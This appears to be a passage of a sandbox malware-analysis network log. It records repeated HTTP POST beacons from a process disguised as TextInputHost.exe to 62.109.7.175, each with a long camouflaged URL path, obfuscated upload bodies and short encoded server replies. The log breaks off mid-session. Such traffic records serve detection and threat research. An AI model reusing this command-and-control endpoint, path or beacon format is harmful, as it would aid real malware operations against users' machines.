Apr 2, 2024 23:43:10.392246962 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49787	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:10.795178890 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:11.073385000 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:11.075161934 CEST	2552	OUT	Data Raw: 5f 5d 5d 51 50 42 54 5c 5d 5c 52 54 56 56 50 57 59 54 5f 5e 52 59 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _]]QPBT\]\RTVVPWYT_^RYW_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'\:=Z""62"37>Z. ?X!(U(9[*:;#(Y(=9Y /P,$
Apr 2, 2024 23:43:11.360385895 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49788	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:11.764117002 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:12.043431044 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:12.043648958 CEST	2552	OUT	Data Raw: 5a 5c 5d 5c 55 41 51 59 5d 5c 52 54 56 53 50 55 59 51 5f 5b 52 52 57 5d 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z\]\UAQY]\RTVSPUYQ_[RRW]P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___',-263X51=\0#]>;$90;!T(#5+\<#(7>9Y /P,0
Apr 2, 2024 23:43:12.326972961 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49789	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:12.742342949 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:13.026240110 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:13.027462006 CEST	2552	OUT	Data Raw: 5a 5b 58 57 55 45 51 58 5d 5c 52 54 56 50 50 51 59 57 5f 5d 52 5b 57 5a 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z[XWUEQX]\RTVPPQYW_]R[WZP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$9-!X"#=#2"$Y>.3+5=?5(:'4^+)=9Y /P,<
Apr 2, 2024 23:43:13.318451881 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49790	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:13.617480993 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:13.901559114 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:13.901771069 CEST	1868	OUT	Data Raw: 5f 5b 5d 50 55 48 54 5c 5d 5c 52 54 56 56 50 57 59 57 5f 5f 52 5e 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _[]PUHT\]\RTVVPWYW__R^W_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$.>-6:Z"2!]&9>(Z- 8#;&+V!?:# )9Y /P,$
Apr 2, 2024 23:43:14.192584038 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 12 29 35 09 10 23 01 30 57 28 31 2a 56 25 27 35 16 3b 3d 31 58 29 3a 37 5d 2d 15 20 10 22 38 2f 5b 29 33 26 03 26 3d 38 13 30 37 2b 59 01 13 25 5e 2b 3c 05 0f 32 32 23 57 26 01 3a 58 25 24 23 08 2a 3b 2c 54 30 03 21 11 28 0a 3c 11 2a 20 2d 53 3e 3a 3f 5a 2c 2c 2d 59 22 34 2a 5e 0c 17 22 1f 28 5f 34 06 32 19 06 12 29 1c 3b 11 28 1f 34 12 28 3a 24 0d 32 02 21 1a 29 3c 20 53 25 3d 32 0d 2a 2e 26 0e 23 32 0e 0e 3e 02 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: ')5#0W(1V%'5;=1X):7]- "8/[)3&&=807+Y%^+<22#W&:X%$#;,T0!(<* -S>:?Z,,-Y"4^"(_42);(4(:$2!)< S%=2.&#2>'] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49791	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:13.725744963 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:14.010365009 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:14.010551929 CEST	2552	OUT	Data Raw: 5a 58 5d 50 50 44 54 5b 5d 5c 52 54 56 57 50 50 59 5b 5f 5a 52 5c 57 50 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: ZX]PPDT[]\RTVWPPY[_ZR\WPP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___':[-!&Z"W*$+>;:#X!(=]+A"+4)=9Y /P,
Apr 2, 2024 23:43:14.302747965 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49792	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:14.722536087 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:43:14.999665022 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:15.000734091 CEST	2552	OUT	Data Raw: 5f 5c 5d 50 55 41 51 5a 5d 5c 52 54 56 54 50 54 59 5a 5f 5e 52 52 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _\]PUAQZ]\RTVTPTYZ_^RRW^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'_--5^59#!$9#^>+8^:U'"P( ??"([=-9Y /P,,
Apr 2, 2024 23:43:15.285120964 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49793	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:15.691276073 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2548 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:15.976140976 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:15.976325989 CEST	2548	OUT	Data Raw: 5a 5f 58 54 50 44 54 5d 5d 5c 52 54 56 55 50 50 59 55 5f 5a 52 52 57 59 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z_XTPDT]]\RTVUPPYU_ZRRWYP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'\..>5 :Y59]$+\=[93+^"8(V)+8A4;-9Y /P,<
Apr 2, 2024 23:43:16.266170979 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49794	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:16.684020042 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:16.964195013 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:16.964375019 CEST	2552	OUT	Data Raw: 5f 5a 5d 51 55 43 51 58 5d 5c 52 54 56 51 50 53 59 54 5f 5b 52 5f 57 5d 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Z]QUCQX]\RTVQPSYT_[R_W]P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'Y.1Z63162"3)/]+'-3(!^5?3&?#"(>9Y /P,8
Apr 2, 2024 23:43:17.251986980 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49795	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:17.662924051 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:17.945380926 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:17.945580959 CEST	2552	OUT	Data Raw: 5a 5a 5d 5c 55 46 51 51 5d 5c 52 54 56 5d 50 52 59 54 5f 5b 52 52 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: ZZ]\UFQQ]\RTV]PRYT_[RRW^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'9>=_!65]$/X>0Y,3!8*(]<:#7(-9Y /P,
Apr 2, 2024 23:43:18.233563900 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49796	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:18.686503887 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:18.969574928 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:18.969744921 CEST	2552	OUT	Data Raw: 5a 5b 5d 54 50 40 51 5d 5d 5c 52 54 56 53 50 52 59 50 5f 58 52 52 57 5d 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z[]TP@Q]]\RTVSPRYP_XRRW]P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___']-[663#25X33^?8X,##^5Q+#):$B7<\-9Y /P,0
Apr 2, 2024 23:43:19.259717941 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49798	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:19.491229057 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:19.773629904 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:19.773876905 CEST	1868	OUT	Data Raw: 5a 5b 58 50 55 49 54 5f 5d 5c 52 54 56 54 50 50 59 52 5f 57 52 59 57 59 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z[XPUIT_]\RTVTPPYR_WRYWYP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$.- #:\#!"3)3^>(<. "8+3:+$#+ X*=9Y /P,,
Apr 2, 2024 23:43:20.065526962 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 54 28 1c 2c 01 23 06 06 54 28 57 26 1c 24 27 35 17 2c 10 07 11 28 17 05 5f 2e 5d 34 12 36 06 23 5c 2b 33 03 1f 32 00 0e 5c 24 1d 2b 59 01 13 25 17 28 2f 38 51 26 32 34 0c 31 3b 3a 58 24 51 3b 06 29 3b 20 57 33 03 39 1e 2b 0d 01 04 28 23 00 0e 29 00 2f 5f 2c 02 0b 1f 21 24 2a 5e 0c 17 22 1e 3f 29 2c 01 31 27 34 11 3d 0b 2b 58 2b 26 3f 00 3e 07 3b 56 31 02 1c 05 2a 59 27 0d 32 03 03 11 29 04 31 1d 34 22 2f 57 2b 38 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: 'T(,#T(W&$'5,(_.]46#\+32\$+Y%(/8Q&241;:X$Q;); W39+(#)/_,!$^"?),1'4=+X+&?>;V1Y'2)14"/W+8'] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49799	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:19.614187956 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:19.897383928 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:19.897602081 CEST	2552	OUT	Data Raw: 5f 5a 5d 51 50 47 54 5f 5d 5c 52 54 56 54 50 51 59 56 5f 56 52 53 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Z]QPGT_]\RTVTPQYV_VRSW^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'-= =513)0;$:;Y#;=(=Z?9("(7=9Y /P,,
Apr 2, 2024 23:43:20.196822882 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49800	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:20.595232010 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:43:20.874099016 CEST	25	IN	HTTP/1.1 100 Continue
